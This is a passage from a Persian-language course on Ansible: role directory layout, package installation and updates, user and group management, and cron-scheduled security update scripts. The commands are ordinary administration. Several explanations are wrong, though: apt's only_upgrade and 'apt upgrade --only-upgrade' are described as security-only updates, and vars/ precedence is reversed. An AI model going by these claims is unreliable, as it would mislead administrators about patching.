در این ساختار، هر دایرکتوری و فایل خاص عملکرد خاصی دارد که در ادامه به‌طور مفصل بررسی خواهیم کرد:


2. دایرکتوری defaults/

دایرکتوری defaults/ برای نگهداری متغیرهای پیش‌فرض استفاده می‌شود. متغیرهایی که در این دایرکتوری قرار می‌گیرند، اولویت کمتری دارند و در صورت تعریف متغیر مشابه در سطح دیگری (مانند vars/ یا در خود Playbook)، این مقادیر می‌توانند بازنویسی شوند.

مثال از فایل defaults/main.yml:

# defaults/main.yml
---
apache_port: 80
apache_service: apache2

این فایل متغیرهای پیش‌فرض را برای پیکربندی سرویس Apache تعیین می‌کند.


3. دایرکتوری files/

دایرکتوری files/ برای نگهداری فایل‌هایی است که باید به سرورهای هدف منتقل شوند. به‌عنوان‌مثال، اگر نیاز دارید که یک فایل پیکربندی Apache را از پیش آماده کرده و به سرور هدف منتقل کنید، این فایل باید در این دایرکتوری قرار گیرد.

برای مثال، اگر فایل پیکربندی apache.conf دارید، آن را در دایرکتوری files/ قرار دهید.


4. دایرکتوری handlers/

دایرکتوری handlers/ برای دستورات خاصی است که در صورت نیاز اجرا می‌شوند. معمولاً این دستورات برای انجام عملیاتی مانند راه‌اندازی مجدد سرویس‌ها یا بارگذاری مجدد پیکربندی‌ها پس از تغییرات استفاده می‌شود.

مثال از فایل handlers/main.yml:

# handlers/main.yml
---
- name: restart apache
  service:
    name: "{{ apache_service }}"
    state: restarted
  become: true

این handler زمانی که تغییراتی در فایل‌های پیکربندی Apache ایجاد شود، سرویس Apache را ریستارت می‌کند.


5. دایرکتوری meta/

دایرکتوری meta/ برای نگهداری اطلاعات متا در مورد Role است. این اطلاعات ممکن است شامل وابستگی‌های Role، نویسنده، یا توضیحات اضافی باشد. در این دایرکتوری می‌توانید وابستگی‌های Role خود را تعریف کنید، یعنی اگر Role شما نیاز به اجرا شدن دیگری دارد، آن را در اینجا مشخص کنید.

مثال از فایل meta/main.yml:

# meta/main.yml
---
dependencies:
  - { role: common }
  - { role: webserver }

این تنظیمات نشان می‌دهد که Role جاری به Role‌های common و webserver وابسته است و باید پیش از آن‌ها اجرا شوند.


6. دایرکتوری tasks/

دایرکتوری tasks/ شامل لیستی از وظایف (Tasks) است که باید بر روی سرورهای هدف اجرا شوند. این وظایف به ترتیب در این دایرکتوری قرار می‌گیرند و در فایل main.yml به ترتیب اجرا می‌شوند.

مثال از فایل tasks/main.yml:

# tasks/main.yml
---
- name: Install Apache
  apt:
    name: "{{ apache_service }}"
    state: present
  become: true

- name: Start Apache service
  service:
    name: "{{ apache_service }}"
    state: started
    enabled: true
  become: true

در این مثال، دو وظیفه برای نصب و راه‌اندازی سرویس Apache تعریف شده است.


7. دایرکتوری templates/

دایرکتوری templates/ برای نگهداری قالب‌های Jinja2 استفاده می‌شود. اگر بخواهید یک فایل پیکربندی را به‌صورت داینامیک ایجاد کنید، می‌توانید از قالب‌های Jinja2 در این دایرکتوری استفاده کنید. این قالب‌ها می‌توانند مقادیر متغیرها را در خود جای دهند و فایل‌هایی سفارشی تولید کنند.

مثال از فایل templates/apache.conf.j2:

# templates/apache.conf.j2
<VirtualHost *:{{ apache_port }}>
    DocumentRoot /var/www/html
    ServerName localhost
</VirtualHost>

این قالب، پورت Apache را که در متغیر apache_port تعریف شده است، به‌صورت داینامیک وارد می‌کند.


8. دایرکتوری vars/

دایرکتوری vars/ برای نگهداری متغیرهایی است که نیاز به اولویت بالاتری دارند و معمولاً برای پیکربندی‌های خاص یا یکسان در سراسر Role استفاده می‌شوند. این متغیرها معمولاً با متغیرهای موجود در defaults/ بازنویسی می‌شوند.

مثال از فایل vars/main.yml:

# vars/main.yml
---
apache_service: apache2

در این فایل، متغیر apache_service به‌صورت خاص تعریف شده است و از مقدار پیش‌فرض در defaults/ بازنویسی می‌شود.


جمع بندی

در این بخش، به بررسی ساختار دایرکتوری و فایل‌های مربوط به Roles در Ansible پرداخته شد. برای استفاده بهینه از Roles، باید از ساختار استاندارد استفاده کرده و هر فایل را در دایرکتوری مناسب قرار دهید. این ساختار شامل دایرکتوری‌هایی برای متغیرها (defaults/ و vars/)، فایل‌ها (files/)، دستورات (handlers/)، وظایف (tasks/)، قالب‌ها (templates/) و اطلاعات متا (meta/) است. استفاده صحیح از این ساختار کمک می‌کند که Playbookهای شما تمیزتر، قابل نگهداری‌تر و قابل استفاده مجددتر باشد.[/cdb_course_lesson][cdb_course_lesson title=”فصل 3. Automation در مدیریت سرورها”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”اتوماسیون نصب و پیکربندی نرم‌افزارها” subtitle=”توضیحات کامل”]اتوماسیون نصب و پیکربندی نرم‌افزارها یکی از مهم‌ترین بخش‌های مدیریت سرور است که به کاهش زمان، خطاهای انسانی و افزایش کارایی سیستم کمک می‌کند. با استفاده از ابزارهایی مانند Ansible، می‌توان فرایند نصب، پیکربندی و به‌روزرسانی نرم‌افزارها را به‌طور کامل خودکار کرد. در این بخش، نحوه انجام این کار با استفاده از Ansible و همچنین اسکریپت‌های شل توضیح داده خواهد شد.


1. نصب نرم‌افزارها با استفاده از Ansible

Ansible یک ابزار قدرتمند برای مدیریت پیکربندی است که از ماژول‌های مختلف برای نصب و پیکربندی نرم‌افزارها استفاده می‌کند. ماژول‌های مختلفی برای نصب نرم‌افزار وجود دارند، مانند apt برای سیستم‌های مبتنی بر دبیان (Ubuntu، Debian) و yum برای سیستم‌های مبتنی بر ردهت (CentOS، Fedora).

1.1 نصب نرم‌افزار با استفاده از apt (برای سیستم‌های مبتنی بر دبیان)

ماژول apt به شما این امکان را می‌دهد که نرم‌افزارها را روی سیستم‌های مبتنی بر دبیان نصب کنید.

فایل Playbook: install_package.yml

# install_package.yml
---
- name: Install packages on Debian-based systems
  hosts: all
  become: yes
  tasks:
    - name: Ensure Apache is installed
      apt:
        name: apache2
        state: present
        update_cache: yes

در اینجا:

  • بسته apache2 روی سیستم‌های مبتنی بر دبیان نصب خواهد شد.
  • با استفاده از گزینه update_cache: yes، کش پکیج‌های سیستم به‌روزرسانی می‌شود تا اطمینان حاصل شود که جدیدترین نسخه نرم‌افزار نصب خواهد شد.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook install_package.yml
1.2 نصب نرم‌افزار با استفاده از yum (برای سیستم‌های مبتنی بر ردهت)

ماژول yum برای نصب نرم‌افزارها در سیستم‌های مبتنی بر ردهت استفاده می‌شود.

فایل Playbook: install_package_rhel.yml

# install_package_rhel.yml
---
- name: Install packages on RHEL-based systems
  hosts: all
  become: yes
  tasks:
    - name: Ensure Apache is installed
      yum:
        name: httpd
        state: present

در اینجا:

  • بسته httpd روی سیستم‌های مبتنی بر ردهت نصب خواهد شد.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook install_package_rhel.yml

2. پیکربندی نرم‌افزارها با استفاده از Ansible

پس از نصب نرم‌افزار، ممکن است نیاز به پیکربندی آن برای مطابقت با نیازهای خاص سیستم یا سازمان شما باشد. Ansible این امکان را می‌دهد که فایل‌های پیکربندی را با استفاده از ماژول‌هایی مانند template یا copy به‌طور خودکار روی سرورهای مختلف توزیع کنید.

2.1 استفاده از ماژول template برای پیکربندی

ماژول template این امکان را فراهم می‌آورد که فایل‌های پیکربندی از قالب‌های Jinja2 استفاده کنند. این کار به شما اجازه می‌دهد که فایل‌های پیکربندی را به‌طور پویا با مقادیر مختلف پر کنید.

فایل Playbook: configure_apache.yml

# configure_apache.yml
---
- name: Configure Apache web server
  hosts: all
  become: yes
  tasks:
    - name: Copy the Apache configuration file
      template:
        src: apache2.conf.j2
        dest: /etc/apache2/apache2.conf
      notify:
        - restart apache
  handlers:
    - name: restart apache
      service:
        name: apache2
        state: restarted

در اینجا:

  • فایل پیکربندی apache2.conf از قالب apache2.conf.j2 به مسیر مقصد /etc/apache2/apache2.conf کپی می‌شود.
  • پس از کپی شدن فایل، سرویس Apache ری‌استارت می‌شود.

فایل قالب apache2.conf.j2

# apache2.conf.j2
ServerName {{ ansible_hostname }}
DocumentRoot {{ apache_document_root }}

در اینجا:

  • پارامتر ServerName به‌طور خودکار با نام میزبان سیستم (از طریق متغیر ansible_hostname) تنظیم می‌شود.
  • DocumentRoot از متغیر apache_document_root پر می‌شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook configure_apache.yml
2.2 استفاده از ماژول copy برای پیکربندی

اگر نیاز به کپی کردن یک فایل پیکربندی آماده به‌صورت مستقیم دارید، می‌توانید از ماژول copy استفاده کنید. این ماژول به شما اجازه می‌دهد تا فایل‌ها را از سیستم کنترل (Master) به سرور مقصد کپی کنید.

فایل Playbook: copy_config_file.yml

# copy_config_file.yml
---
- name: Copy configuration file to target servers
  hosts: all
  become: yes
  tasks:
    - name: Copy the custom configuration file
      copy:
        src: /path/to/local/config.conf
        dest: /etc/software/config.conf
        owner: root
        group: root
        mode: '0644'

در اینجا:

  • فایل config.conf از مسیر محلی به سرور مقصد کپی می‌شود.
  • تنظیمات مالک و گروه و همچنین دسترسی‌ها برای فایل مقصد تنظیم می‌شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook copy_config_file.yml

3. به‌روزرسانی نرم‌افزارها با استفاده از Ansible

در بسیاری از مواقع، نیاز به به‌روزرسانی نرم‌افزارها به جدیدترین نسخه‌ها وجود دارد. Ansible به‌سادگی این امکان را فراهم می‌کند که نرم‌افزارهای نصب‌شده را به‌روزرسانی کنید.

3.1 به‌روزرسانی نرم‌افزارها با استفاده از apt

فایل Playbook: update_packages.yml

# update_packages.yml
---
- name: Update packages on Debian-based systems
  hosts: all
  become: yes
  tasks:
    - name: Ensure all packages are up to date
      apt:
        upgrade: yes
        update_cache: yes

در اینجا:

  • با استفاده از گزینه upgrade: yes تمام بسته‌های نصب‌شده به‌روزرسانی می‌شوند.
  • با استفاده از گزینه update_cache: yes کش پکیج‌ها به‌روز می‌شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook update_packages.yml
3.2 به‌روزرسانی نرم‌افزارها با استفاده از yum

فایل Playbook: update_packages_rhel.yml

# update_packages_rhel.yml
---
- name: Update packages on RHEL-based systems
  hosts: all
  become: yes
  tasks:
    - name: Ensure all packages are up to date
      yum:
        name: '*'
        state: latest

در اینجا:

  • با استفاده از گزینه state: latest تمام بسته‌های نصب‌شده به جدیدترین نسخه به‌روزرسانی می‌شوند.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook update_packages_rhel.yml

جمع بندی

در این بخش، روش‌های اتوماسیون نصب و پیکربندی نرم‌افزارها با استفاده از Ansible و اسکریپت‌های شل بررسی شد. با استفاده از ماژول‌های apt و yum می‌توان نرم‌افزارها را به‌راحتی نصب و به‌روزرسانی کرد. همچنین با استفاده از ماژول‌های template و copy می‌توان فایل‌های پیکربندی را به‌طور خودکار توزیع کرد و پیکربندی نرم‌افزارها را مدیریت کرد. این ابزارها به مدیران سیستم کمک می‌کنند تا فرآیندهای نصب، پیکربندی و به‌روزرسانی نرم‌افزارها را به‌صورت خودکار و کارآمد انجام دهند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیاده‌سازی اتوماسیون برای مدیریت آپدیت‌های سیستم” subtitle=”توضیحات کامل”]مدیریت آپدیت‌های سیستم یکی از جنبه‌های حیاتی در نگهداری و امنیت سرورها است. استفاده از ابزارهای اتوماسیون مانند Ansible می‌تواند فرایند مدیریت آپدیت‌های سیستم را ساده، سریع و مقیاس‌پذیر کند. با استفاده از Ansible، می‌توان آپدیت‌های سیستم‌عامل‌ها را بر روی هزاران سرور به‌طور هم‌زمان و خودکار انجام داد. در این بخش، به پیاده‌سازی اتوماسیون برای مدیریت آپدیت‌های سیستم با استفاده از Ansible پرداخته خواهد شد.


1. مدیریت آپدیت‌ها در سیستم‌های لینوکسی

در سرورهای لینوکسی، معمولاً برای نصب آپدیت‌ها از ابزارهایی مانند apt (برای توزیع‌های مبتنی بر Debian)، yum (برای توزیع‌های مبتنی بر RHEL/CentOS) و dnf (برای توزیع‌های جدیدتر Fedora و RHEL 8+) استفاده می‌شود. در اینجا، نحوه استفاده از Ansible برای انجام آپدیت‌های خودکار بر روی این سیستم‌ها توضیح داده خواهد شد.

1.1 انجام آپدیت‌های خودکار در توزیع‌های مبتنی بر Debian/Ubuntu

برای نصب آپدیت‌های جدید در توزیع‌های مبتنی بر Debian و Ubuntu، می‌توان از ماژول apt استفاده کرد. با استفاده از این ماژول، می‌توان به‌صورت خودکار سیستم را به‌روزرسانی کرد و بسته‌های جدید را نصب کرد.

فایل Playbook: update_ubuntu.yml

# update_ubuntu.yml
---
- name: Update and upgrade Ubuntu systems
  hosts: ubuntu_servers
  become: yes
  tasks:
    - name: Update apt cache
      apt:
        update_cache: yes
        cache_valid_time: 3600

    - name: Upgrade all packages to the latest version
      apt:
        upgrade: dist
        autoremove: yes
        autoclean: yes

در این مثال:

  • ابتدا کش apt به‌روز می‌شود.
  • سپس تمامی بسته‌ها به آخرین نسخه موجود به‌روز می‌شوند.
  • از گزینه‌های autoremove و autoclean برای حذف بسته‌های غیر ضروری و پاک‌سازی کش استفاده می‌شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook update_ubuntu.yml
1.2 انجام آپدیت‌های خودکار در توزیع‌های Red Hat/CentOS

برای انجام آپدیت‌های خودکار در سیستم‌های مبتنی بر RHEL، CentOS و Fedora از ماژول yum یا dnf استفاده می‌شود. این ماژول‌ها به شما این امکان را می‌دهند که بسته‌های سیستم را به‌صورت خودکار به‌روز کنید.

فایل Playbook: update_centos.yml

# update_centos.yml
---
- name: Update and upgrade CentOS systems
  hosts: centos_servers
  become: yes
  tasks:
    - name: Update all packages to the latest version
      yum:
        name: '*'
        state: latest
        update_cache: yes

در اینجا:

  • با استفاده از ماژول yum تمامی بسته‌ها به آخرین نسخه موجود به‌روزرسانی می‌شوند.
  • گزینه update_cache: yes برای به‌روز رسانی کش استفاده می‌شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook update_centos.yml
1.3 انجام آپدیت‌های خودکار در RHEL 8+ و Fedora

در نسخه‌های جدیدتر RHEL و Fedora، از ماژول dnf به‌جای yum استفاده می‌شود.

فایل Playbook: update_fedora.yml

# update_fedora.yml
---
- name: Update and upgrade Fedora systems
  hosts: fedora_servers
  become: yes
  tasks:
    - name: Update all packages to the latest version
      dnf:
        name: '*'
        state: latest
        update_cache: yes

در اینجا:

  • با استفاده از ماژول dnf تمامی بسته‌ها به آخرین نسخه موجود به‌روزرسانی می‌شوند.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook update_fedora.yml

2. مدیریت آپدیت‌های امنیتی

یکی از مهم‌ترین بخش‌های مدیریت آپدیت‌های سیستم، انجام آپدیت‌های امنیتی است. با استفاده از Ansible، می‌توان به‌صورت خودکار آپدیت‌های امنیتی را نصب کرد و سیستم‌ها را از آخرین تهدیدات محافظت نمود.

2.1 نصب آپدیت‌های امنیتی در توزیع‌های مبتنی بر Debian/Ubuntu

برای نصب آپدیت‌های امنیتی در توزیع‌های مبتنی بر Debian و Ubuntu، می‌توان از ماژول apt استفاده کرده و فقط به نصب بسته‌های امنیتی پرداخته شود.

فایل Playbook: security_update_ubuntu.yml

# security_update_ubuntu.yml
---
- name: Install security updates on Ubuntu
  hosts: ubuntu_servers
  become: yes
  tasks:
    - name: Install security updates
      apt:
        upgrade: dist
        only_upgrade: yes
        update_cache: yes
        cache_valid_time: 3600
        allow_unauthenticated: no

در اینجا:

  • گزینه only_upgrade: yes به این معنی است که فقط آپدیت‌هایی که مربوط به امنیت هستند، نصب می‌شوند.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook security_update_ubuntu.yml
2.2 نصب آپدیت‌های امنیتی در سیستم‌های Red Hat/CentOS

در سیستم‌های RHEL و CentOS، می‌توان از ماژول yum برای نصب آپدیت‌های امنیتی استفاده کرد.

فایل Playbook: security_update_centos.yml

# security_update_centos.yml
---
- name: Install security updates on CentOS
  hosts: centos_servers
  become: yes
  tasks:
    - name: Install security updates
      yum:
        name: '*'
        state: latest
        security: yes
        update_cache: yes

در اینجا:

  • گزینه security: yes باعث می‌شود که فقط آپدیت‌های امنیتی نصب شوند.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook security_update_centos.yml

3. نظارت و گزارش‌دهی از وضعیت آپدیت‌ها

یکی دیگر از قابلیت‌های Ansible، نظارت بر وضعیت آپدیت‌ها و گزارش‌دهی از وضعیت سیستم‌ها است. می‌توانید از ماژول‌های مختلف برای دریافت اطلاعات درباره وضعیت آپدیت‌ها استفاده کنید و گزارشی از وضعیت سیستم‌ها تولید کنید.

فایل Playbook: update_report.yml

# update_report.yml
---
- name: Generate update status report
  hosts: all
  gather_facts: yes
  tasks:
    - name: Check if updates are available
      apt:
        update_cache: yes
        cache_valid_time: 3600
      register: apt_update
      when: ansible_facts['os_family'] == 'Debian'

    - name: Report the result
      debug:
        msg: "Updates available: {{ apt_update }}"

در اینجا:

  • ابتدا کش apt به‌روزرسانی می‌شود.
  • سپس وضعیت آپدیت‌ها به کمک متغیر apt_update ثبت و گزارش می‌شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook update_report.yml

جمع بندی

در این بخش، نحوه پیاده‌سازی اتوماسیون برای مدیریت آپدیت‌های سیستم با استفاده از Ansible بررسی شد. با استفاده از ماژول‌های مختلف مانند apt, yum, dnf, می‌توان به‌صورت خودکار سیستم‌ها را به‌روز کرد. همچنین، نصب آپدیت‌های امنیتی و گزارش‌دهی از وضعیت آپدیت‌ها نیز با استفاده از Ansible امکان‌پذیر است. این روش‌ها به مدیران سیستم کمک می‌کند تا فرایند مدیریت آپدیت‌ها را به‌صورت خودکار، مقیاس‌پذیر و امن انجام دهند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت کاربران و گروه‌ها از طریق اسکریپت‌ها و Ansible” subtitle=”توضیحات کامل”]مدیریت کاربران و گروه‌ها در یک سیستم لینوکسی به‌طور مرتب و با استفاده از ابزارهای اتوماسیون مانند Ansible، می‌تواند به‌طور قابل‌ملاحظه‌ای ساده و سریع شود. این فرآیند شامل ایجاد، حذف، و ویرایش کاربران و گروه‌ها می‌شود و می‌تواند به‌صورت خودکار از طریق اسکریپت‌ها و Playbookهای Ansible انجام شود. در این بخش، به نحوه انجام این وظایف از طریق Ansible پرداخته می‌شود.


1. ایجاد و مدیریت کاربران با Ansible

برای مدیریت کاربران، Ansible یک ماژول به نام user ارائه می‌دهد که به کمک آن می‌توان کاربران جدید ایجاد کرد، کاربران را ویرایش کرد، یا حتی کاربران موجود را حذف کرد.

1.1 ایجاد کاربر جدید

برای ایجاد یک کاربر جدید، می‌توان از ماژول user استفاده کرد. این ماژول به شما امکان می‌دهد که یک کاربر جدید با نام دلخواه بسازید، یک دایرکتوری خانگی برای آن تعیین کنید، و تنظیمات اضافی مانند گروه‌ها، شل پیش‌فرض، و … را اعمال کنید.

فایل Playbook: create_user.yml

# create_user.yml
---
- name: Create new user on target hosts
  hosts: all
  become: yes
  tasks:
    - name: Create a new user
      user:
        name: johndoe
        state: present
        comment: "John Doe"
        shell: /bin/bash
        home: /home/johndoe
        group: users
        create_home: yes

در اینجا:

  • یک کاربر جدید به نام johndoe ایجاد می‌شود.
  • شل پیش‌فرض کاربر /bin/bash است.
  • دایرکتوری خانگی کاربر در /home/johndoe ایجاد می‌شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook create_user.yml
1.2 حذف کاربر

برای حذف یک کاربر، می‌توان از همان ماژول user با گزینه state: absent استفاده کرد. این گزینه کاربر را از سیستم حذف می‌کند.

فایل Playbook: remove_user.yml

# remove_user.yml
---
- name: Remove user from target hosts
  hosts: all
  become: yes
  tasks:
    - name: Remove user johndoe
      user:
        name: johndoe
        state: absent

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook remove_user.yml
1.3 ویرایش اطلاعات کاربر

در صورتی که بخواهید اطلاعات کاربر را ویرایش کنید (مثلاً تغییر شل پیش‌فرض یا گروه‌های عضو)، می‌توانید از همان ماژول user استفاده کرده و فقط گزینه‌هایی که تغییر کرده‌اند را ویرایش کنید.

فایل Playbook: modify_user.yml

# modify_user.yml
---
- name: Modify existing user
  hosts: all
  become: yes
  tasks:
    - name: Change user shell and group
      user:
        name: johndoe
        shell: /bin/zsh
        group: admin

در اینجا:

  • شل کاربر به /bin/zsh تغییر می‌کند.
  • کاربر به گروه admin اضافه می‌شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook modify_user.yml

2. مدیریت گروه‌ها با Ansible

ماژول group در Ansible برای ایجاد، حذف و مدیریت گروه‌ها در سیستم استفاده می‌شود. این ماژول می‌تواند برای اضافه کردن اعضای جدید به گروه‌ها، حذف گروه‌ها یا تغییر ویژگی‌های گروه‌ها به‌کار رود.

2.1 ایجاد گروه جدید

برای ایجاد یک گروه جدید می‌توان از ماژول group استفاده کرد. در اینجا گروه جدیدی به نام developers ایجاد می‌شود.

فایل Playbook: create_group.yml

# create_group.yml
---
- name: Create a new group on target hosts
  hosts: all
  become: yes
  tasks:
    - name: Create developers group
      group:
        name: developers
        state: present

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook create_group.yml
2.2 حذف گروه

برای حذف یک گروه می‌توان از همان ماژول group استفاده کرد و با تعیین گزینه state: absent، گروه را حذف کرد.

فایل Playbook: remove_group.yml

# remove_group.yml
---
- name: Remove a group from target hosts
  hosts: all
  become: yes
  tasks:
    - name: Remove developers group
      group:
        name: developers
        state: absent

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook remove_group.yml
2.3 اضافه کردن کاربر به گروه

برای اضافه کردن یک کاربر به گروه جدید یا یک گروه موجود می‌توان از گزینه groups در ماژول user استفاده کرد.

فایل Playbook: add_user_to_group.yml

# add_user_to_group.yml
---
- name: Add user to a group
  hosts: all
  become: yes
  tasks:
    - name: Add johndoe to developers group
      user:
        name: johndoe
        groups: developers
        append: yes

در اینجا:

  • کاربر johndoe به گروه developers اضافه می‌شود.
  • گزینه append: yes باعث می‌شود که کاربر فقط به گروه‌های جدید اضافه شود و از حذف گروه‌های قبلی جلوگیری شود.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook add_user_to_group.yml

3. استفاده از اسکریپت‌ها برای مدیریت کاربران و گروه‌ها

علاوه بر استفاده از Playbookهای Ansible، شما می‌توانید از اسکریپت‌های شل نیز برای مدیریت کاربران و گروه‌ها استفاده کنید. اسکریپت‌های شل می‌توانند به‌طور مستقیم از داخل سیستم اجرا شوند و می‌توانند به‌عنوان بخشی از وظایف خاص در Ansible استفاده شوند.

اسکریپت شل: create_user.sh

#!/bin/bash
# ایجاد کاربر جدید در سیستم

USERNAME=$1
USERHOME="/home/$USERNAME"
USERGROUP="users"

# ایجاد گروه اگر وجود ندارد
if ! grep -q "$USERGROUP" /etc/group; then
    groupadd $USERGROUP
fi

# ایجاد کاربر جدید
useradd -m -d $USERHOME -G $USERGROUP $USERNAME
echo "User $USERNAME created successfully."

برای اجرای این اسکریپت می‌توانید از طریق Ansible آن را اجرا کنید:

فایل Playbook: run_shell_script.yml

# run_shell_script.yml
---
- name: Run shell script to create a new user
  hosts: all
  become: yes
  tasks:
    - name: Execute the create_user.sh script
      command: /path/to/create_user.sh johndoe

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook run_shell_script.yml

جمع بندی

در این بخش، نحوه مدیریت کاربران و گروه‌ها از طریق Ansible و اسکریپت‌های شل بررسی شد. با استفاده از ماژول‌های user و group در Ansible، می‌توان به‌راحتی کاربران جدید ایجاد کرده، کاربران را ویرایش یا حذف کرد و گروه‌ها را مدیریت نمود. همچنین با استفاده از اسکریپت‌های شل، می‌توان این فرآیندها را خودکار کرده و آنها را به‌عنوان بخشی از Playbookهای Ansible اجرا کرد. این روش‌ها به مدیران سیستم کمک می‌کنند تا مدیریت کاربران و گروه‌ها را به‌صورت اتوماسیون و مقیاس‌پذیر انجام دهند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”اتوماسیون فرآیندهای مربوط به امنیت مانند آپدیت‌های امنیتی خودکار” subtitle=”توضیحات کامل”]یکی از اصول کلیدی در مدیریت سیستم‌ها و سرورها، حفظ امنیت بالا و کاهش آسیب‌پذیری‌ها است. آپدیت‌های امنیتی خودکار به‌طور مؤثر می‌توانند از حملات و مشکلات امنیتی جلوگیری کنند و فرآیندهای نظارتی و مدیریتی را ساده‌تر کنند. در این بخش، به بررسی چگونگی پیاده‌سازی اتوماسیون برای آپدیت‌های امنیتی خودکار و نحوه استفاده از ابزارهای مختلف، از جمله Ansible و اسکریپت‌های شل خواهیم پرداخت.


1. به‌روزرسانی خودکار بسته‌های امنیتی با استفاده از Ansible

Ansible یکی از بهترین ابزارها برای مدیریت سرورها و اتوماسیون فرایندهای مختلف از جمله نصب و به‌روزرسانی بسته‌های امنیتی است. برای انجام این کار، می‌توان از ماژول‌های مختلفی مانند apt و yum استفاده کرد که به‌طور خاص برای مدیریت پکیج‌ها طراحی شده‌اند.

1.1 به‌روزرسانی خودکار بسته‌های امنیتی با apt (برای سیستم‌های دبیان)

برای سیستم‌های مبتنی بر دبیان (مانند Ubuntu و Debian)، Ansible امکان نصب و به‌روزرسانی بسته‌ها را با استفاده از ماژول apt فراهم می‌کند. شما می‌توانید این ماژول را طوری تنظیم کنید که فقط بسته‌های امنیتی به‌طور خودکار به‌روزرسانی شوند.

فایل Playbook: security_update.yml

# security_update.yml
---
- name: Apply security updates on Debian-based systems
  hosts: all
  become: yes
  tasks:
    - name: Update only security packages
      apt:
        upgrade: dist
        update_cache: yes
        only_upgrade: yes
        state: latest
        install_recommends: no

در اینجا:

  • upgrade: dist باعث می‌شود که آپدیت‌های مربوط به بسته‌ها و به‌ویژه آپدیت‌های امنیتی اعمال شوند.
  • با تنظیم only_upgrade: yes، فقط بسته‌های نصب‌شده به‌روزرسانی می‌شوند و بسته‌های جدید نصب نمی‌شوند.
  • همچنین، install_recommends: no باعث می‌شود که بسته‌های پیشنهادی نصب نشوند و فقط بسته‌های اصلی به‌روزرسانی شوند.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook security_update.yml
1.2 به‌روزرسانی خودکار بسته‌های امنیتی با yum (برای سیستم‌های ردهت)

در سیستم‌های مبتنی بر ردهت (مانند CentOS و Fedora)، برای به‌روزرسانی بسته‌های امنیتی می‌توان از ابزار yum استفاده کرد. در این حالت، استفاده از گزینه‌های خاص در yum باعث می‌شود فقط بسته‌های امنیتی به‌روزرسانی شوند.

فایل Playbook: security_update_rhel.yml

# security_update_rhel.yml
---
- name: Apply security updates on RHEL-based systems
  hosts: all
  become: yes
  tasks:
    - name: Apply security updates only
      yum:
        name: '*'
        security: yes
        state: latest

در اینجا:

  • security: yes باعث می‌شود که فقط بسته‌های امنیتی به‌روزرسانی شوند.

برای اجرای Playbook دستور زیر را وارد کنید:

ansible-playbook security_update_rhel.yml

2. استفاده از اسکریپت‌های شل برای به‌روزرسانی خودکار بسته‌های امنیتی

در کنار Ansible، اسکریپت‌های شل نیز ابزاری مفید برای اتوماسیون به‌روزرسانی‌های امنیتی هستند. این اسکریپت‌ها می‌توانند به‌طور خودکار به‌روزرسانی‌های امنیتی را بررسی کرده و آن‌ها را نصب کنند.

2.1 اسکریپت شل برای به‌روزرسانی خودکار بسته‌های امنیتی در سیستم‌های دبیان

برای به‌روزرسانی خودکار بسته‌های امنیتی در سیستم‌های دبیان، می‌توانید اسکریپت شل زیر را ایجاد کنید.

اسکریپت شل: security_update_debian.sh

#!/bin/bash
# Update the system with security patches only

echo "Updating security packages..."
apt update -y
apt upgrade -y --only-upgrade

این اسکریپت کارهای زیر را انجام می‌دهد:

  • با استفاده از دستور apt update -y لیست پکیج‌ها به‌روز می‌شود.
  • با استفاده از دستور apt upgrade -y --only-upgrade فقط بسته‌های موجود به‌روزرسانی می‌شوند و هیچ بسته جدیدی نصب نخواهد شد.

برای اجرای اسکریپت، ابتدا باید اجازه اجرای آن را به آن بدهید:

chmod +x security_update_debian.sh

سپس اسکریپت را اجرا کنید:

./security_update_debian.sh
2.2 اسکریپت شل برای به‌روزرسانی خودکار بسته‌های امنیتی در سیستم‌های ردهت

برای سیستم‌های ردهت نیز می‌توان از یک اسکریپت شل برای به‌روزرسانی خودکار بسته‌های امنیتی استفاده کرد.

اسکریپت شل: security_update_rhel.sh

#!/bin/bash
# Update the system with security patches only

echo "Updating security packages..."
yum update --security -y

در اینجا:

  • دستور yum update --security -y به‌طور خودکار فقط بسته‌های امنیتی را به‌روزرسانی می‌کند.

برای اجرای اسکریپت، ابتدا باید اجازه اجرای آن را بدهید:

chmod +x security_update_rhel.sh

سپس اسکریپت را اجرا کنید:

./security_update_rhel.sh

3. برنامه‌ریزی اجرای اتوماسیون به‌روزرسانی امنیتی

برای اطمینان از اینکه آپدیت‌های امنیتی به‌طور خودکار و در زمان مناسب اجرا شوند، می‌توان از ابزارهایی مانند cron در لینوکس استفاده کرد. به این صورت، می‌توانیم اسکریپت‌ها را به‌طور منظم اجرا کنیم.

3.1 برنامه‌ریزی اجرای اسکریپت به‌روزرسانی امنیتی در سیستم‌های دبیان

برای اجرای خودکار اسکریپت به‌روزرسانی امنیتی، می‌توان آن را به cron اضافه کرد.

برای ویرایش فایل cron:

crontab -e

سپس، دستور زیر را برای اجرای اسکریپت به‌روزرسانی هر روز در ساعت 3 صبح اضافه کنید:

0 3 * * * /path/to/security_update_debian.sh
